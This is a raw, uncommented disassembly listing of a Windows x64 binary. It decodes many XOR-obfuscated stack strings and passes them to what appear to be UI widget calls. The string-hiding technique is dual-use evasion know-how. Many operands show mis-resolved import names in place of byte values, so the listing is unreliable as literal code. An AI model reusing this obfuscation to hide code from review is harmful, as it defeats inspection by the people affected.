jb 0x140076d40
lea rcx, [rsp + 0x70]
call fcn.14004dbd0
mov rdx, qword [0x140ac0340]
add rdx, 0x14
mov byte [rbp - 0x10], 0xb4
mov byte [rbp - 0xf], 0x91
mov byte [rbp - 0xe], 0x8b
mov byte [rbp - 0xd], 0x8a
mov byte [rbp - 0xc], 0x9c
mov byte [rbp - 0xb], 0x91
mov byte [rbp - 0xa], 0x9d
mov byte [rbp - 9], __WSAFDIsSet
mov byte [rbp - 8], 0xf5
movzx eax, byte [rbp - 0x10]
mov r10, rdi
mov r11, r12
lea rax, [rbp - 0x10]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp - 0x10]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 - 0x10], al
inc r10
cmp r10, 9
jb 0x140076dd0
lea rcx, [rbp - 0x10]
call fcn.14004dbd0
mov rdx, qword [0x140ac0340]
add rdx, 0x12
mov byte [rbp + 0xa0], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xa1], Ordinal_50
mov byte [rbp + 0xa2], 0x3f
mov byte [rbp + 0xa3], Ordinal_50
mov byte [rbp + 0xa4], 0x7d
mov byte [rbp + 0xa5], recv
mov byte [rbp + 0xa6], 4
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa8], reloc.WS2_32.dll_select
mov byte [rbp + 0xa9], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xaa], 1
mov byte [rbp + 0xab], WSAGetLastError
movzx eax, byte [rbp + 0xa0]
mov r11, rdi
movabs r13, 0x270acb301143625a
mov rbx, r13
lea rax, [rbp + 0xa0]
sub rbx, rax
nop dword [rax]
nop dword [rax + rax]
lea r9, [rbp + 0xa0]
add r9, r11
movsx r10, byte [r9]
mov rcx, r11
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov r8, r13
shr r8, cl
and r8b, 0xf
lea eax, [r9 + rbx]
xor r8b, al
xor r8b, r10b
mov byte [rbp + r11 + 0xa0], r8b
inc r11
cmp r11, 0xc
jb 0x140076ea0
movabs r13, 0xa922cfad73b74ac2
lea rcx, [rbp + 0xa0]
call fcn.14004dbd0
mov rdx, qword [0x140ac0340]
add rdx, 0x16
mov byte [rbp + 0x150], 0x84
mov byte [rbp + 0x151], 0xbd
mov byte [rbp + 0x152], 0xaf
mov byte [rbp + 0x153], 0xb6
mov byte [rbp + 0x154], 0xe1
mov byte [rbp + 0x155], 0x99
mov byte [rbp + 0x156], 0xb8
mov byte [rbp + 0x157], 0xab
mov byte [rbp + 0x158], 0xb5
mov byte [rbp + 0x159], 0xaf
mov byte [rbp + 0x15a], 0xa2
mov byte [rbp + 0x15b], 0xac
mov byte [rbp + 0x15c], 0xa9
mov byte [rbp + 0x15d], Ordinal_211
movzx eax, byte [rbp + 0x150]
mov r10, rdi
mov r11, r13
lea rax, [rbp + 0x150]
sub r11, rax
nop
lea r8, [rbp + 0x150]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x150], al
inc r10
cmp r10, 0xe
jb 0x140076f80
lea rcx, [rbp + 0x150]
call fcn.14004dbd0
mov rdx, qword [0x140ac0340]
add rdx, 0x15
mov byte [rbp + 0x120], 0x84
mov byte [rbp + 0x121], 0xbd
mov byte [rbp + 0x122], 0xaf
mov byte [rbp + 0x123], 0xb6
mov byte [rbp + 0x124], 0xe1
mov byte [rbp + 0x125], 0x9c
mov byte [rbp + 0x126], 0xa7
mov byte [rbp + 0x127], 0xaf
mov byte [rbp + 0x128], 0xb3
mov byte [rbp + 0x129], 0xa7
mov byte [rbp + 0x12a], 0xac
mov byte [rbp + 0x12b], 0xb3
mov byte [rbp + 0x12c], 0xa1
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], Ordinal_211
movzx eax, byte [rbp + 0x120]
mov r10, rdi
mov r11, r13
lea rax, [rbp + 0x120]
sub r11, rax
lea r8, [rbp + 0x120]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x120], al
inc r10
cmp r10, 0xe
jb 0x140077051
lea rcx, [rbp + 0x120]
call fcn.14004dbd0
call fcn.1400215e0
call fcn.14002abf0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a6c0
call fcn.14002aac0
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x464]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm14
movss xmm0, dword [rbp + 0x460]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x2cc], xmm0
movss dword [rbp + 0x2d0], xmm2
mov byte [rbp + 0x110], 0x83
mov byte [rbp + 0x111], 0x9a
mov byte [rbp + 0x112], 0x9d
mov byte [rbp + 0x113], __WSAFDIsSet
mov byte [rbp + 0x114], Ordinal_143
mov byte [rbp + 0x115], 0x81
mov byte [rbp + 0x116], 0x82
mov byte [rbp + 0x117], 0x9d
mov byte [rbp + 0x118], 0x86
mov byte [rbp + 0x119], __WSAFDIsSet
mov byte [rbp + 0x11a], Ordinal_143
mov byte [rbp + 0x11b], Ordinal_143
mov byte [rbp + 0x11c], 0x82
mov byte [rbp + 0x11d], Ordinal_211
movzx eax, byte [rbp + 0x110]
mov r9, rdi
mov r10, r13
lea rax, [rbp + 0x110]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp + 0x110]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x110], al
inc r9
cmp r9, 0xe
jb 0x140077190
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2cc]
lea rcx, [rbp + 0x110]
call fcn.140021500
mov r11, qword [0x140ac0340]
mov byte [rbp + 0x170], 2
mov byte [rbp + 0x171], Ordinal_45
mov byte [rbp + 0x172], 0x3e
mov byte [rbp + 0x173], 0x66
mov byte [rbp + 0x174], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x175], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x176], Ordinal_35
mov byte [rbp + 0x177], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x178], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x179], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x17a], Ordinal_41
mov byte [rbp + 0x17b], Ordinal_60
mov byte [rbp + 0x17c], Ordinal_60
mov byte [rbp + 0x17d], 0x7a
mov byte [rbp + 0x17e], 0x7b
mov byte [rbp + 0x17f], 0x5d
movzx eax, byte [rbp + 0x170]
mov r9, rdi
movabs rbx, 0xcbf78fb0b3183242
mov r10, rbx
lea rax, [rbp + 0x170]
sub r10, rax
lea rdx, [rbp + 0x170]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x170], al
inc r9
cmp r9, 0x10
jb 0x140077281
mov dword [rbp + 0x4a0], 0x40a00000
mov dword [rbp + 0x498], 0x3f800000
mov dword [rsp + 0x30], edi
lea rsi, str._.3f
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x498]
mov r8, r11
mov edx, 8
lea rcx, [rbp + 0x170]
call fcn.140051610
mov r11, qword [0x140ac0340]
mov byte [rbp + 0x208], gethostname
mov byte [rbp + 0x209], 0xa
mov byte [rbp + 0x20a], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x20b], 4
mov byte [rbp + 0x20c], recv
mov byte [rbp + 0x20d], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x20e], 2
mov byte [rbp + 0x20f], reloc.WS2_32.dll_listen
mov byte [rbp + 0x210], 0x48
mov byte [rbp + 0x211], gethostname
mov byte [rbp + 0x212], reloc.WS2_32.dll_send
mov byte [rbp + 0x213], reloc.WS2_32.dll_select
mov byte [rbp + 0x214], reloc.WS2_32.dll_select
mov byte [rbp + 0x215], Ordinal_33
mov byte [rbp + 0x216], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x217], Ordinal_26
mov byte [rbp + 0x218], 3
mov byte [rbp + 0x219], 2
mov byte [rbp + 0x21a], 0x41
mov byte [rbp + 0x21b], 0x58
mov byte [rbp + 0x21c], 0x79
movzx eax, byte [rbp + 0x208]
mov r9, rdi
movabs rbx, 0x9e73abf6e1a31366
mov r10, rbx
lea rax, [rbp + 0x208]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp + 0x208]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x208], al
inc r9
cmp r9, 0x15
jb 0x1400773d0
mov dword [rbp + 0x490], 0x40a00000
mov dword [rbp + 0x488], 0x3f800000
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x488]
lea r8, [r11 + 4]
mov edx, 8
lea rcx, [rbp + 0x208]
call fcn.140051610
mov r8d, dword [0x140ac0128]
mov rdx, qword [0x140ac02b0]
mov byte [rbp + 0x140], __WSAFDIsSet
mov byte [rbp + 0x141], 0xa6
mov byte [rbp + 0x142], 0xbd
mov byte [rbp + 0x143], 0xa8
mov byte [rbp + 0x144], 0xa3
mov byte [rbp + 0x145], 0xa0
mov byte [rbp + 0x146], 0xae
mov byte [rbp + 0x147], 0xee
mov byte [rbp + 0x148], 0x84
mov byte [rbp + 0x149], 0xae
mov byte [rbp + 0x14a], 0xaf
mov byte [rbp + 0x14b], 0xae
mov byte [rbp + 0x14c], 0xbe
mov byte [rbp + 0x14d], Ordinal_211
movzx eax, byte [rbp + 0x140]
mov rbx, rdi
mov rsi, r13
lea rax, [rbp + 0x140]
sub rsi, rax
nop dword [rax]
lea r10, [rbp + 0x140]
add r10, rbx
movsx r11, byte [r10]
mov rcx, rbx
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov r9, r13
shr r9, cl
and r9b, 0xf
lea eax, [r10 + rsi]
xor r9b, al
xor r9b, r11b
mov byte [rbp + rbx + 0x140], r9b
inc rbx
cmp rbx, 0xe
jb 0x1400774e0
lea rcx, [rbp + 0x140]
call fcn.140058dc0
mov r8d, dword [0x140ac0128]
mov rdx, qword [0x140ac02b0]
add rdx, 0x10
mov byte [rbp + 0x180], 9
mov byte [rbp + 0x181], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x182], Ordinal_50
mov byte [rbp + 0x183], Ordinal_50
mov byte [rbp + 0x184], 0x3d
mov byte [rbp + 0x185], Ordinal_50
mov byte [rbp + 0x186], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x187], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x188], Ordinal_50
mov byte [rbp + 0x189], 0x60
mov byte [rbp + 0x18a], 0
mov byte [rbp + 0x18b], Ordinal_45
mov byte [rbp + 0x18c], Ordinal_41
mov byte [rbp + 0x18d], Ordinal_50
mov byte [rbp + 0x18e], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x18f], 0x5d
movzx eax, byte [rbp + 0x180]
mov r11, rdi
movabs rsi, 0xcbf78fb0b3183242
mov rbx, rsi
lea rax, [rbp + 0x180]
sub rbx, rax
nop dword [rax]
nop word [rax + rax]
lea r9, [rbp + 0x180]
add r9, r11
movsx r10, byte [r9]
mov rcx, r11
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add r9b, bl
xor al, r9b
xor al, r10b
mov byte [rbp + r11 + 0x180], al
inc r11
cmp r11, 0x10
jb 0x1400775e0
lea rcx, [rbp + 0x180]
call fcn.140058dc0
jmp 0x14007807c
call fcn.14002aac0
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x464]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm13
movss xmm0, dword [rbp + 0x460]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x2c4], xmm0
movss dword [rbp + 0x2c8], xmm2
mov byte [rbp - 0x68], 0x51
mov byte [rbp - 0x67], 0x57
mov byte [rbp - 0x66], 0x61
mov byte [rbp - 0x65], WSASetLastError
mov byte [rbp - 0x64], WSASetLastError
mov byte [rbp - 0x63], 0x7a
mov byte [rbp - 0x62], Ordinal_41
movzx eax, byte [rbp - 0x68]
mov r9, rdi
mov r10, rbx
lea rax, [rbp - 0x68]
sub r10, rax
nop dword [rax + rax]
lea rdx, [rbp - 0x68]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x68], al
inc r9
cmp r9, 7
jb 0x1400776c0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2c4]
lea rcx, [rbp - 0x68]
call fcn.140021500
mov rdx, qword [0x140ac0278]
mov byte [rbp + 0x130], 0x85
mov byte [rbp + 0x131], 0xa1
mov byte [rbp + 0x132], 0xaf
mov byte [rbp + 0x133], 0xa3
mov byte [rbp + 0x134], 0xad
mov byte [rbp + 0x135], 0xa9
mov byte [rbp + 0x136], 0xeb
mov byte [rbp + 0x137], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x138], 0xae
mov byte [rbp + 0x139], 0xac
mov byte [rbp + 0x13a], 0xa1
mov byte [rbp + 0x13b], 0xae
mov byte [rbp + 0x13c], 0xb8
mov byte [rbp + 0x13d], Ordinal_211
movzx eax, byte [rbp + 0x130]
mov r10, rdi
mov r11, r13
lea rax, [rbp + 0x130]
sub r11, rax
lea r8, [rbp + 0x130]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r13
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x130], al
inc r10
cmp r10, 0xe
jb 0x140077790
lea rcx, [rbp + 0x130]
call fcn.14004dbd0
mov rdx, qword [0x140ac0278]
add rdx, 0x18
mov byte [rbp + 0x1d8], 0xe5
mov byte [rbp + 0x1d9], Ordinal_211
mov byte [rbp + 0x1da], Ordinal_200
mov byte [rbp + 0x1db], 0xca
mov byte [rbp + 0x1dc], Ordinal_211
mov byte [rbp + 0x1dd], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1de], 0x90
mov byte [rbp + 0x1df], 0xef
mov byte [rbp + 0x1e0], Ordinal_200
mov byte [rbp + 0x1e1], 0xda
mov byte [rbp + 0x1e2], Ordinal_217
mov byte [rbp + 0x1e3], 0xdc
mov byte [rbp + 0x1e4], Ordinal_211
mov byte [rbp + 0x1e5], 0xca
mov byte [rbp + 0x1e6], Ordinal_217
mov byte [rbp + 0x1e7], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1e8], Ordinal_200
mov byte [rbp + 0x1e9], 0xb1
movzx eax, byte [rbp + 0x1d8]
mov r10, rdi
movabs rbx, 0xfcf1e706a02d58aa
mov r11, rbx
lea rax, [rbp + 0x1d8]
sub r11, rax
nop word [rax + rax]
lea r8, [rbp + 0x1d8]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x1d8], al
inc r10
cmp r10, 0x12
jb 0x140077890
lea rcx, [rbp + 0x1d8]
call fcn.14004dbd0
mov rdx, qword [0x140ac0278]
add rdx, 0xc
mov byte [rbp + 0x10], 0xa3
mov byte [rbp + 0x11], 0x90
mov byte [rbp + 0x12], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x13], 0x89
mov byte [rbp + 0x14], 0xdd
mov byte [rbp + 0x15], 0xb9
mov byte [rbp + 0x16], 0x91
mov byte [rbp + 0x17], 0x86
mov byte [rbp + 0x18], 0xf5
movzx eax, byte [rbp + 0x10]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x10]
sub r11, rax
nop dword [rax]
lea r8, [rbp + 0x10]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x10], al
inc r10
cmp r10, 9
jb 0x140077920
lea rcx, [rbp + 0x10]
call fcn.14004dbd0
call fcn.1400215e0
call fcn.14002abf0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a6c0
call fcn.14002aac0
movss xmm0, dword [rsi + 0x3820]
addss xmm0, xmm0
subss xmm0, xmm8
movss xmm2, dword [rbp + 0x464]
subss xmm2, xmm0
mulss xmm2, xmm6
addss xmm2, xmm9
movss xmm1, dword [rsi + 0x381c]
mulss xmm1, xmm7
addss xmm1, xmm14
movss xmm0, dword [rbp + 0x460]
subss xmm0, xmm1
mulss xmm0, xmm6
movss dword [rbp + 0x344], xmm0
movss dword [rbp + 0x348], xmm2
mov byte [rbp + 0x20], 0xa3
mov byte [rbp + 0x21], 0xbd
mov byte [rbp + 0x22], 0xac
mov byte [rbp + 0x23], 0xaa
mov byte [rbp + 0x24], 0xb4
mov byte [rbp + 0x25], 0xb1
mov byte [rbp + 0x26], 0xb9
mov byte [rbp + 0x27], 0xa3
mov byte [rbp + 0x28], 0xf5
movzx eax, byte [rbp + 0x20]
mov r9, rdi
mov r10, r12
lea rax, [rbp + 0x20]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x20]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x20], al
inc r9
cmp r9, 9
jb 0x140077a10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x344]
lea rcx, [rbp + 0x20]
call fcn.140021500
mov rdx, qword [0x140ac0278]
add rdx, 0xc
mov byte [rbp + 0x30], 0xa3
mov byte [rbp + 0x31], 0x90
mov byte [rbp + 0x32], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x33], 0x89
mov byte [rbp + 0x34], 0xdd
mov byte [rbp + 0x35], 0xb9
mov byte [rbp + 0x36], 0x91
mov byte [rbp + 0x37], 0x86
mov byte [rbp + 0x38], 0xf5
movzx eax, byte [rbp + 0x30]
mov r10, rdi
mov r11, r12
lea rax, [rbp + 0x30]
sub r11, rax
lea r8, [rbp + 0x30]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0x30], al
inc r10
cmp r10, 9
jb 0x140077aa0
lea rcx, [rbp + 0x30]
call fcn.14004dbd0
movss xmm0, dword [0x1400dc0cc]
call fcn.14002a7d0
mov r11, qword [0x140ac0278]
mov byte [rbp + 0xc0], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xc1], Ordinal_50
mov byte [rbp + 0xc2], Ordinal_45
mov byte [rbp + 0xc3], 0x7b
mov byte [rbp + 0xc4], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xc5], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xc6], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xc7], 5
mov byte [rbp + 0xc8], 0x58
mov byte [rbp + 0xc9], 0x40
mov byte [rbp + 0xca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xcb], WSAGetLastError
movzx eax, byte [rbp + 0xc0]
mov r9, rdi
movabs rsi, 0x270acb301143625a
mov r10, rsi
lea rax, [rbp + 0xc0]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0xc0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xc0], al
inc r9
cmp r9, 0xc
jb 0x140077b70
mov dword [rbp + 0x4a8], Ordinal_301
mov dword [rbp + 0x480], reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x30], edi
lea rax, [0x1400cdc34]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x4a8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x480]
lea r8, [r11 + 0x10]
mov edx, 4
lea rcx, [rbp + 0xc0]
call fcn.140051610
call fcn.14002a880
mov r11, qword [0x140ac0278]
mov byte [rbp + 0x1f0], 0xf3
mov byte [rbp + 0x1f1], 0xcc
mov byte [rbp + 0x1f2], 0xcb
mov byte [rbp + 0x1f3], Ordinal_200
mov byte [rbp + 0x1f4], Ordinal_217
mov byte [rbp + 0x1f5], Ordinal_200
mov byte [rbp + 0x1f6], 0xde
mov byte [rbp + 0x1f7], 0xde
mov byte [rbp + 0x1f8], Ordinal_200
mov byte [rbp + 0x1f9], 0xc0
mov byte [rbp + 0x1fa], __WSAFDIsSet
mov byte [rbp + 0x1fb], 0xe8
mov byte [rbp + 0x1fc], 0xde
mov byte [rbp + 0x1fd], Ordinal_200
mov byte [rbp + 0x1fe], Ordinal_211
mov byte [rbp + 0x1ff], Ordinal_143
mov byte [rbp + 0x200], 0x90
mov byte [rbp + 0x201], 0xb1
movzx eax, byte [rbp + 0x1f0]
mov r9, rdi
mov r10, rbx
lea rax, [rbp + 0x1f0]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x1f0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1f0], al
inc r9
cmp r9, 0x12
jb 0x140077ca0
mov dword [rbp + 0x470], 0x42c80000
mov dword [rbp + 0x478], 0x3f800000
mov dword [rsp + 0x30], edi
lea rax, str._.3f
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x470]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x478]
lea r8, [r11 + 0x14]
mov edx, 8
lea rcx, [rbp + 0x1f0]
call fcn.140051610
mov byte [rbp + 0x50], 0xb1
mov byte [rbp + 0x51], 0x91
mov byte [rbp + 0x52], __WSAFDIsSet
mov byte [rbp + 0x53], 0xde
mov byte [rbp + 0x54], 0xb6
mov byte [rbp + 0x55], 0x9a
mov byte [rbp + 0x56], 0x87
mov byte [rbp + 0x57], 0xca
mov byte [rbp + 0x58], 0xf5
movzx eax, byte [rbp + 0x50]
mov r9, rdi
mov r10, r12
lea rax, [rbp + 0x50]
sub r10, rax
lea rdx, [rbp + 0x50]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r12
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x50], al
inc r9
cmp r9, 9
jb 0x140077d61
lea rcx, [rbp + 0x50]
call fcn.14004af60
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.14002a6c0
mov r8d, dword [0x140ac0158]
lea rdx, [0x140069f20]
mov ecx, dword [reloc.WS2_32.dll_bind]
call fcn.140069f70
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140ac0974], eax
jle 0x140077f9b
lea rcx, [0x140ac0974]
call fcn.1400bc718
cmp dword [0x140ac0974], 0xffffffff
jne 0x140077f9b
mov byte [rsp + 0x60], Ordinal_41
mov byte [rsp + 0x61], 4
mov byte [rsp + 0x62], 5
mov byte [rsp + 0x63], 8
mov byte [rsp + 0x64], 0x62
movzx eax, byte [rsp + 0x60]
mov r9, rdi
movabs rsi, 0x2b8d5e5b14d85c66
mov r10, rsi
lea rax, [rsp + 0x60]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x60]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x60], al
inc r9
cmp r9, 5
jb 0x140077e40
lea rax, [rsp + 0x60]
mov qword [0x140ac06a0], rax
mov byte [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x79], 4
mov byte [rsp + 0x7a], 7
mov byte [rsp + 0x7b], 7
mov byte [rsp + 0x7c], 0x62
movzx eax, byte [rsp + 0x78]
mov r9, rdi
mov r10, rsi
lea rax, [rsp + 0x78]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x78]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x78], al
inc r9
cmp r9, 5
jb 0x140077ec0
lea rax, [rsp + 0x78]
mov qword [0x140ac06a8], rax
mov byte [rbp - 0x80], reloc.WS2_32.dll_send
mov byte [rbp - 0x7f], 0x3e
mov byte [rbp - 0x7e], Ordinal_60
mov byte [rbp - 0x7d], 0x25
mov byte [rbp - 0x7c], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x7b], 0x5b
movzx eax, byte [rbp - 0x80]
mov r9, rdi
movabs r11, 0x336a237fe2c23a52
mov r10, r11
lea rax, [rbp - 0x80]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp - 0x80]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x80], al
inc r9
cmp r9, 6
jb 0x140077f40
lea rax, [rbp - 0x80]
mov qword [0x140ac06b0], rax
lea rcx, [0x140ac0974]
call fcn.1400bc6ac
movabs rsi, 0x270acb301143625a
mov rdx, qword [0x140ac0278]
add rdx, 8
mov byte [rbp + 0xd0], 4
mov byte [rbp + 0xd1], 0x3f
mov byte [rbp + 0xd2], Ordinal_50
mov byte [rbp + 0xd3], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xd4], Ordinal_60
mov byte [rbp + 0xd5], Ordinal_50
mov byte [rbp + 0xd6], 0x41
mov byte [rbp + 0xd7], Ordinal_35
mov byte [rbp + reloc.WS2_32.dll_listen8], 0xd
mov byte [rbp + 0xd9], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xda], 0xa
mov byte [rbp + 0xdb], WSAGetLastError
movzx eax, byte [rbp + 0xd0]
mov r10, rdi
mov r11, rsi
lea rax, [rbp + 0xd0]
sub r11, rax
lea r8, [rbp + 0xd0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rbp + r10 + 0xd0], al
inc r10
cmp r10, 0xc
jb 0x140078011
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 3
lea r9, [0x140ac06a0]
lea r8, [fcn.140050090]
lea rcx, [rbp + 0xd0]
call fcn.1400500b0
call fcn.1400215e0
call fcn.14002abf0
lea rsi, [rbp + 0x6d8]
mov ecx, 1
call fcn.14001a7b0
nop
mov rcx, qword [rbp + 0x4f0]
xor rcx, qword [rbp + 0x4f8]
mov qword [rbp + 0x4f0], rcx
mov rax, qword [rbp + 0x500]
mov qword [rax], rcx
jmp 0x1400780c9
cmp byte [0x140ac0049], 0
je 0x1400780c9
xor ecx, ecx
call fcn.140073440
